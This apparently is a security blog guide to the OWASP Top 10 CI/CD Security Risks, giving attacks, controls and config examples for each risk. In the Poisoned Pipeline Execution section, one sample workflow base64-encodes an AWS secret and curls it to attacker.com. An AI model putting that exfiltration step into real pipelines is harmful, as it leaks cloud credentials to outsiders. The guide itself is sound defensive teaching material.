The OWASP Top 10 CI/CD Security Risks: A Practitioner’s Blueprint • William OGOU Cybersecurity Blog

Your pipeline is the shortest path to production and the shortest path for an attacker.

The history of software supply chain attacks is littered with names that share a common tragedy: Codecov, SolarWinds, PHP’s git server, Homebrew, and Stack Overflow’s TeamCity. More recently, the Shai-Hulud 2.0 waves and the Axios supply chain attack proved that when the factory falls, every product ships poisoned. CI/CD pipelines run with god-tier privileges, handle hundreds of secrets, pull code written minutes ago by developers you’ve never met, and deploy it to production with minimal friction. That is the feature. That is also the attack surface.

The OWASP Top 10 CI/CD Security Risks (originally published by Cider Security) is the most practical framework for securing the “heart” of your SDLC.

This guide breaks down each CICD-SEC risk with concrete attacks, code examples, and the specific controls that actually stop them.

What to Remember

CI/CD is Production Infrastructure: Treat your pipelines with the same rigor as your production servers. They are high-privilege, high-velocity target environments.
Identity is the New Perimeter: Nearly half the Top 10 risks (SEC-2, SEC-5, SEC-6) revolve around misused credentials and over-permissive identities.
Unreviewed Code is Poison: Poisoned Pipeline Execution (CICD-SEC-4) is the single most exploited class of CI/CD attacks in the wild.
Integrity > Detection: You cannot alert your way out of a tampered build. Sign commits, pin dependencies, and verify artifact hashes.
Visibility is Non-Negotiable: CICD-SEC-10 is last on the list but first in importance during incident response.

OWASP Top 10 CI/CD Security Risks

CICD-SEC-1: Insufficient Flow Control Mechanisms

Your repo has branch protection. Great except one engineer with write access can still bypass review by abusing an auto-merge rule or pushing to an excluded branch.

Insufficient flow control means a single entity (human or programmatic) can ship code to production without external verification. The 2021 PHP git backdoor is the textbook case: attackers pushed directly to master, and the compromised version propagated to every site pulling updates.

The Fix: Multi-Party Approval

Enforce branch protection on every branch that feeds production. No user or bot exclusions.
If an account can push unreviewed code, it must not be able to trigger a production pipeline.
Audit auto-merge rules. If they rely on third-party code for decisions, they are exploitable.

# GitHub branch protection (example configuration)
required_pull_request_reviews:
  required_approving_review_count: 2
  dismiss_stale_reviews: true
  require_code_owner_reviews: true
enforce_admins: true  # yes, even admins must be reviewed
required_signatures: true

⚠️ Common Mistake: Leaving enforce_admins: false. Attackers who phish an admin account walk straight through your security gates.

CICD-SEC-2: Inadequate Identity and Access Management

Count the identities in your ecosystem: SCM users, PATs, SSH keys, CI service accounts, OAuth apps, and marketplace plugins. Now count how many you can’t map to an owner. That gap is CICD-SEC-2.

Stack Overflow’s 2019 TeamCity breach happened because new accounts were auto-granted admin privileges. Gentoo was backdoored after a maintainer’s GitHub password (and thus identity) was compromised.

The Blueprint for CI/CD IAM:

Kill Local Accounts: Federate SCM, CI, and registries to a single IdP with MFA.
Inventory Everything: Map identity -> provider -> granted perms -> used perms.
Deprovision Ruthlessly: Stale PATs and SSH keys are 0-day access for attackers.
No Shared Accounts: Accountability dies in a shared account.

CICD-SEC-3: Dependency Chain Abuse

You wrote 2% of the code running in production. The other 98% direct and transitive dependencies is a permanent attack vector.

Attackers use dependency confusion, typosquatting, or maintainer account takeover to inject malware. Since Alex Birsan’s 2021 research, we’ve seen ua-parser-js, coa, and rc hijacked to steal credentials at scale.

Hardening the Chain:

Proxy Everything: Never pull directly from the internet. Use an internal proxy (Artifactory, Nexus).
Pin Versions + Verify Hashes: Commit package-lock.json or go.sum and enforce them with npm ci or go mod verify.
Scope Private Packages: Use @yourorg/package-name to prevent dependency confusion.

# .npmrc   commit this to your repo to override insecure local settings
registry=https://internal-proxy.company.com/npm/
@yourorg:registry=https://internal-proxy.company.com/npm-private/
audit=true

CICD-SEC-4: Poisoned Pipeline Execution (PPE)

If your CI runs code from a pull request before a human reviews it, you have a PPE problem.

Direct PPE (D-PPE): Attacker modifies the pipeline config (.github/workflows/*.yml) in a PR.
Indirect PPE (I-PPE): Attacker modifies files the pipeline references Makefile, test scripts, or linter configs.
Public PPE (3PE): Anonymous users attacking public repos (e.g., the Teleport/Drone CI incident).

Example: D-PPE Credential Theft

name: CI
on: [pull_request] # Dangerous if secrets are exposed to forks
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - env:
          AWS_TOKEN: ${{ secrets.AWS_ACCESS_KEY_ID }}
        run: |
          # The "poison"
          curl -d "token=$(echo $AWS_TOKEN | base64)" https://attacker.com

The Fix:

Require Approval for Workflows: GitHub → Settings → Actions → “Require approval for all outside collaborators.”
Use Environments: Bind secrets to environments that require manual approval.
Isolate Untrusted Builds: Run PR-based CI on ephemeral, secret-less runners.

CICD-SEC-5: Insufficient PBAC (Pipeline-Based Access Controls)

PBAC is about the blast radius. If an adversary compromised your test step, could they reach your production secrets? The Codecov breach proved that many organizations trust third-party scripts with every secret in scope.

Controls:

Network Segmentation: Build nodes should only reach required registries. Block general internet egress.
Pristine State: Revert nodes to a known-clean state after every execution.
Ephemeral Runners: Use Docker-based runners that die after the job finishes.

CICD-SEC-6: Insufficient Credential Hygiene

Uber lost data on 57 million users because an AWS token was sitting in a private GitHub repo. Common fails include secrets in Git history, secrets in container layers, and secrets printed to console output.

The Action Plan:

Secret Scanning: Use gitleaks or trufflehog.
OIDC Federation: Stop using static keys. Use GCP Workload Identity Federation or AWS OIDC.
Masking: Use ::add-mask:: to prevent secrets from appearing in logs.

CICD-SEC-7: Insecure System Configuration

A Bitbucket instance with default credentials leaked Nissan’s source code. SolarWinds’ build system compromise was enabled by insecure hardening.

Hardening Checklist:

Inventory + Ownership: Map every Jenkins/GitLab instance.
Patch Aggressively: CI/CD vulnerabilities are exploited within 48 hours of disclosure.
No Direct Internet Ingress: Controllers should never be public-facing without a VPN/Zero-Trust gateway.

CICD-SEC-8: Ungoverned Usage of 3rd Party Services

Installing a GitHub Action or a Jenkins plugin is a one-line change that grants external code execution on every build. The tj-actions/changed-files compromise in 2025 reminded us that tags can be moved by attackers.

Best Practice: Pin Actions by Commit SHA, not version tags.

# Pin by SHA, not @v4
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

CICD-SEC-9: Improper Artifact Integrity Validation

SolarWinds Orion wasn’t backdoored in Git. It was backdoored inside the build system. The binary was signed, but the code it contained was malicious.

Integrity Gates:

Signed Commits: Require GPG/SSH signatures.
Binary Signing: Use Sigstore/Cosign.
SLSA Provenance: Implement SLSA to generate tamper-evident build attestations.

CICD-SEC-10: Insufficient Logging and Visibility

You can have perfect controls and still lose if you don’t notice the breach for six months. CI/CD logs are often ignored until it’s too late.

Visibility Baseline:

Centralize Logs: Ship SCM (push/pull), CI (job starts), and Registry (image pulls) logs to a SIEM.
Alert on Anomalies: Unexpected admin creation, workflow modification by a non-maintainer, or secret access from an unusual runner.

Conclusion: The New Standard of Care

The OWASP Top 10 CI/CD Security Risks isn’t a checklist it’s a lens for auditing the infrastructure that powers your code. To secure your pipeline:

Start with PPE (SEC-4) and Credentials (SEC-6). They are the most common entry points.
Isolate your build environments. Move to ephemeral, secret-less runners for untrusted code.
Adopt the SITF framework for comprehensive SDLC threat modeling.

Discover more in our Verify First Playbook or learn about the latest breaches in our analysis of the LiteLLM compromise and the Trivy vulnerability.

Audit one pipeline this week. Find the workflow that has access to production secrets from a pull request. Fix that first.

To further enhance your cloud security and harden your CI/CD pipelines, contact me on LinkedIn Profile or [email protected].

Frequently Asked Questions (FAQ)

What are the OWASP Top 10 CI/CD Security Risks?

Established by security practitioners, these are the ten most critical security weaknesses in modern software delivery pipelines, ranging from flow control failures to logging deficiencies.

How do I prevent Poisoned Pipeline Execution (PPE)?

Never allow pull requests from forks to have access to secrets, require manual approval for workflow runs, and use OIDC/short-lived credentials for deployment steps.

What is Dependency Chain Abuse?

It involves attackers poisoning the libraries your code depends on via dependency confusion, typosquatting, or account takeovers of maintainers.

Why should I pin GitHub Actions by SHA?

Version tags (like @v1) can be moved by a compromised developer. A commit SHA is immutable, ensuring the code you vetted is the exact code that runs.

Is CI/CD security different from AppSec?

Yes. Traditional AppSec focuses on the code *inside* the product. CI/CD security focuses on the *factory* that builds and delivers the product.

Resources

OWASP CI/CD Top 10 Project: https://owasp.org/www-project-top-10-ci-cd-security-risks/
Original Cider Security Research: https://github.com/cider-security-research/top-10-cicd-security-risks
SLSA Framework: https://slsa.dev/
NIST SSDF: https://csrc.nist.gov/Projects/ssdf